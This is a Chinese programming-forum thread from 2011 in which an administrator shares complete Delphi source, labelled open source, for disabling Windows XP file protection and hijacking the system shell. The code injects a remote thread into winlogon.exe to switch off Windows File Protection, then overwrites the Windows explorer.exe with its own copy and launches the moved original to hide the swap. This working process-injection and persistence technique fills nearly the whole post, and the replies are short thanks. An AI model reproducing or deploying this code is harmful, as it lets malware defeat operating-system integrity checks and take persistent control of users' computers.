找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 6759|回复: 3

[开源] 关闭XP保护替换explorer.exe

  [复制链接]

1214

主题

352

回帖

11

精华

管理员

菜鸟

积分
93755

贡献奖关注奖人气王精英奖乐于助人勋章

发表于 2011-8-6 08:25:27 | 显示全部楼层 |阅读模式

  1. program Project1;

  2. uses
  3.   Windows, TlHelp32;

  4. function LowerCase(const S: string): string; //转小写
  5. var
  6.   Ch: Char;
  7.   L: Integer;
  8.   Source, Dest: PChar;
  9. begin
  10.   L := Length(S);
  11.   SetLength(Result, L);
  12.   Source := Pointer(S);
  13.   Dest := Pointer(Result);
  14.   while L <> 0 do
  15.   begin
  16.     Ch := Source^;
  17.     if (Ch >= &#39; A&#39; ) and (Ch <= &#39; Z&#39; ) then Inc(Ch, 32);
  18.     Dest^ := Ch;
  19.     Inc(Source);
  20.     Inc(Dest);
  21.     Dec(L);
  22.   end;
  23. end;

  24. function CreatedMutexEx(MutexName: Pchar): Boolean;
  25. var
  26.   MutexHandle: dword;
  27. begin
  28.   MutexHandle := CreateMutex(nil, True, MutexName);
  29.   if MutexHandle <> 0 then
  30.   begin
  31.     if GetLastError = ERROR_ALREADY_EXISTS then
  32.     begin
  33. //CloseHandle(MutexHandle);
  34.       Result := False;
  35.       Exit;
  36.     end;
  37.   end;
  38.   Result := True;
  39. end;

  40. function GetWinPath: string; //取WINDOWS目录
  41. var
  42.   Buf: array[0..MAX_PATH] of char;
  43. begin
  44.   GetWindowsDirectory(Buf, MAX_PATH);
  45.   Result := Buf;
  46.   if Result[Length(Result)] <> &#39; \&#39; then Result := Result + &#39; \&#39; ;
  47. end;

  48. function GetTempDirectory: string; //取临时目录
  49. var
  50.   Buf: array[0..MAX_PATH] of char;
  51. begin
  52.   GetTempPath(MAX_PATH, Buf);
  53.   Result := Buf;
  54.   if Result[Length(Result)] <> &#39; \&#39; then Result := Result + &#39; \&#39; ;
  55. end;

  56. function EnableDebugPriv: Boolean; //提权为DEBUG
  57. var
  58.   hToken: THANDLE;
  59.   tp: TTokenPrivileges;
  60.   rl: Cardinal;
  61. begin
  62.   result := false;
  63.   OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
  64.   if LookupPrivilegeValue(nil, &#39; SeDebugPrivilege&#39; , tp.Privileges[0].Luid) then
  65.   begin
  66.     tp.PrivilegeCount := 1;
  67.     tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
  68.     result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
  69.   end;
  70. end;

  71. procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护
  72. var
  73.   TID: LongWord;
  74.   hSfc, hThread: HMODULE;
  75.   pfnCloseEvents: Pointer;
  76. begin
  77.   hSfc := LoadLibrary(&#39; sfc_os.dll&#39; );
  78.   pfnCloseEvents := GetProcAddress(hSfc, MAKEINTRESOURCE(2));
  79.   FreeLibrary(hSfc);
  80.   hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
  81.   WaitForSingleObject(hThread, 4000);
  82. end;

  83. procedure InitProcess(Name: string); //查找winlogon.exe进程PID
  84. var
  85.   FSnapshotHandle: THandle;
  86.   FProcessEntry32: TProcessEntry32;
  87.   ProcessHandle: dword;
  88. begin
  89.   FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  90.   FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
  91.   if Process32First(FSnapshotHandle, FProcessEntry32) then begin
  92.     repeat
  93.       if Name = LowerCase(FProcessEntry32.szExeFile) then
  94.       begin
  95.         ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
  96.         InjectThread(ProcessHandle);
  97.         CloseHandle(ProcessHandle);
  98.         Break;
  99.       end;
  100.     until not Process32Next(FSnapshotHandle, FProcessEntry32);
  101.   end;
  102.   CloseHandle(FSnapshotHandle);
  103. end;

  104. const ExpFile = &#39; explorer.exe&#39; ;
  105.   MasterMutex = &#39; OpenSoul&#39; ;

  106. var
  107.   s: string;
  108. begin
  109.   if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体
  110.   if not EnableDebugPriv then Exit; //提权失败退出
  111.   InitProcess(&#39; winlogon.exe&#39; ); //注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原
  112.   s := ParamStr(0); //取本名
  113.   if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe
  114.   begin //如果不是
  115.     MoveFileEx(PChar(GetWinPath + ExpFile), PChar(GetWinPath + &#39; system32\explorer.exe&#39; ), MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe
  116.     CopyFile(PChar(S), PChar(GetWinPath + ExpFile), false); //把自己复制到windows目录 为explorer.exe
  117.   end;
  118.   WinExec(PChar(GetWinPath + &#39; system32\explorer.exe&#39; ), 1); //运行真正的explorer.exe
  119. end.
复制代码
【VB】QQ群:1422505加的请打上VB好友
【易语言】QQ群:9531809  或 177048
【FOXPRO】QQ群:6580324  或 33659603
【C/C++/VC】QQ群:3777552
【NiceBasic】QQ群:3703755

0

主题

40

回帖

0

精华

铜牌会员

积分
140
发表于 2011-11-12 15:52:03 | 显示全部楼层
看看~

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2011-11-12 23:16:30 | 显示全部楼层
利用线程注入执行sfc_os.dll的函数

30

主题

693

回帖

0

精华

钻石会员

积分
2815
发表于 2015-3-26 13:13:45 | 显示全部楼层
代码很好谢谢分享
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表